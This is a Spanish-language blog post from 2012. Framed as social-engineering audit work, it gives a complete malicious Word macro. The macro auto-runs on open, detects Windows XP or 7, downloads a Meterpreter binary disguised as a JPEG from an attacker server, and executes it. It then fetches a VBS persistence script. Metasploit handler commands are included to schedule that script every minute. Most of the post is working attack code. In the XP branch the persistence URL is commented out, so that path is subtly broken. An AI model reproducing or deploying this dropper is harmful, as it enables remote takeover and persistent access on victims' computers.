miércoles, 15 de agosto de 2012

Ingeniería social con macros de Microsoft Office.

Cuando tenemos que realizar alguna auditoría pruebas de ingeniería social en ataques a clientes, una de las maneras mas efectivas es utilizar documentos word con macros.Mediante esta técnica, no dependemos de ninguna vulnerabilidad de software, solo dependemos de que los usuarios que abran el documento acepten las macros, cosa que aunque pueda parecer sorprendente, hacen muy a menudo. Incluso si lo tienen configurado, puede ni salir el mensaje de aceptar macros.



Una vez el usuario final acepte la macro, podremos infectar al equipo de forma controlada y de múltiples  formas.A lo largo de varias entradas iremos hablando de estas distintas formas:

La primero que vamos a utilizar es hacer nuestro propio código en VBA (Visual Basic Application) para descargar y ejecutar los binarios que hemos generado en Manipulación de binarios para evasión de antivirus .

Recordemos que tenemos un binario para sistemas sin ASLR y otro para sistemas con ASLR, por lo que tendremos que detectar que sistema operativo tenemos cuando se este ejecutando la macro y en función de ello descargue un binario u otro.

Además de todo ello, también podríamos querer tener persistencia en nuestra sesión de meterpreter.Tenemos los scripts persistence y met_svc de meterpreter, con estos, se manipulan datos del registro entre otras cosas y algunos antivirus lo detectan, por lo que no nos sirve, podríamos cambiar su funcionamiento, pero quizá sea mas practico buscarnos otra forma.Para ello, vamos a crear una tarea programa en el sistema operativo, para que compruebe cada minuto si nuestro .exe esta en ejecución , si no lo esta, lo ejecutara y nos devolverá shell.Así tanto si muere nuestra sesión, como si reinician el equipo, volveremos a tener sesión siempre que tengamos el multi handler de metasploit escuchando.

Vamos a ver como hacemos todo esto en las macros:

Lo primero que hacemos es utilizar la función AutoOpen() para que se ejecute nada mas abrir el documento ( y aceptar la ejecución de macros).Vemos que aquí lo que hacemos es llamar a la función OSVersion que hemos creado, veremos justo después que realiza.

Sub AutoOpen()

    

 OSVersion



End Sub



Lo que hace la función OSVersion() es comprobar que sistema operativo se esta ejecutando la macro.Si es winxp llamaremos a una función y si es Win7 llamaremos a otra ,esta parte la podemos modificar para win2k3 , winvista etc.. , en este caso solo nos interesa winxp y win7

Vamos a seguir el código como se iría ejecutando en el caso de ser un Win7

Public Function OSVersion()



Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")

For Each Sys In SystemSet

 Version = Sys.Caption

Next



If InStr(Version, "XP") = 0 Then

Download_7  'es distinto a winxp'

Else

Download_xp 'es WinXP'

End If




Veamos ahora las funciones Download_7 y Download_xp, estas funciones usan el winhttp para descargar mediante http un recurso.Este recurso sera un jpg que tenemos en nuestro servidor web, este jpg, sera descargado y renombrado a .exe en el sistema, en concreto en c:\ . Una vez descargado, sera ejecutado llamando a la función que hemos creado RunFile y después de ejecutarlo, se llamara a la función Download_7_persist que es la función que hará las acciones pertinentes para proporcionarnos persistencia en nuestra sesión.


Private Sub Download_7()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim MyFile2 As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/met_7.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\met_7.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



RunFile ("C:\met_7.exe")



Download_7_persist



End Sub


La función RunFile, simplemente ejecutara desde un cmd el binario que le pasamos como parametro:

Function RunFile(strFile As String)



  Shell "cmd /C """ & strFile & """"



Error_Handler_Exit:



   On Error Resume Next

   Exit Function



Error_Handler:



   Resume Error_Handler_Exit

  

End Function




La función Download_7_persiste utiliza también winhttp para descargase un script en VBS (Visual Basic Script) y ejecutarlo, cuando lo ejecute, lo que hará es comprobar si en los procesos del sistema esta nuestro binario met_7.exe , si no, lo arrancara (en c:\met_7.exe) , mas abajo veremos el código de este VBS.


Private Sub Download_7_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/7/persist.vbs"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub




Aquí tenemos el código del met_7.vbs:


Set WshShell = WScript.CreateObject ("WScript.Shell")

Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")

For Each objProcess in colProcessList

if objProcess.name = "met_7.exe" then

vFound = True

End if

Next

If vFound = True then

wscript.sleep 5000

Else

WshShell.Run ("C:\met_7.exe")

wscript.sleep 5000

End If

vFound = False





Para que todo esto funcione, debemos levantar el multi/handler de la siguiente manera:


./msfconsole
use exploit/multi/handler

set lport 443  # levantamos el multi handler en el puerto 443 que es el que utilizan nuestros binarios

set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs  # en cuanto obtengamos sesión, se creara la tarea programada a ejecutarse cada minuto, lo que ejecuta es nuestro script persist.vbs

set ExitOnSession false

exploit -j -z



Con todo esto empezaremos a obtener sesiones de los usuarios que hayan aceptado nuestras macros, y tendremos persistencia en caso de perder sesión.Evidentemente, esto en entornos corporativos en los que los usuarios solo pueden salir a internet a través de proxy no funciona ya que ni la descarga de los ficheros por macros ni la ejecución de meterpreter reverso funcionará, por lo que más adelante veremos una forma mucho mas sofisticada e interesante para realizarlo.

Así queda el código de la macro completo:


Sub AutoOpen()

    

 OSVersion



End Sub







Public Function OSVersion()

  





Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")

For Each Sys In SystemSet

 Version = Sys.Caption



Next



If InStr(Version, "XP") = 0 Then

Download_7  'no es  winxp'

Else



Download_xp 'es WinXP'

End If





End Function

          

                  

                  



Private Sub Download_xp()





Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If





MyFile = "http://192.168.1.1/met_xp.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing





FileNum = FreeFile

Open "c:\met_xp.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum

RunFile ("C:\met_xp.exe")

Download_xp_persist



End Sub





Private Sub Download_xp_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If





'MyFile = "http://192.168.1.1/xp/persist.vbs"'



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing





FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub



Private Sub Download_7()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim MyFile2 As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/met_7.jpg"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\met_7.exe" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



RunFile ("C:\met_7.exe")



Download_7_persist



End Sub







Private Sub Download_7_persist()



Dim FileNum As Long

Dim FileData() As Byte

Dim MyFile As String

Dim WHTTP As Object



On Error Resume Next

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")

If Err.Number <> 0 Then

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")

End If



MyFile = "http://192.168.1.100/7/persist.vbs"



WHTTP.Open "GET", MyFile, False

WHTTP.Send

FileData = WHTTP.ResponseBody

Set WHTTP = Nothing



FileNum = FreeFile

Open "c:\persist.vbs" For Binary Access Write As #FileNum

Put #FileNum, 1, FileData

Close #FileNum



End Sub





Function RunFile(strFile As String)



  Shell "cmd /C """ & strFile & """"



Error_Handler_Exit:

   On Error Resume Next

   Exit Function



Error_Handler:



   Resume Error_Handler_Exit

  

End Function


No hay comentarios:

Publicar un comentario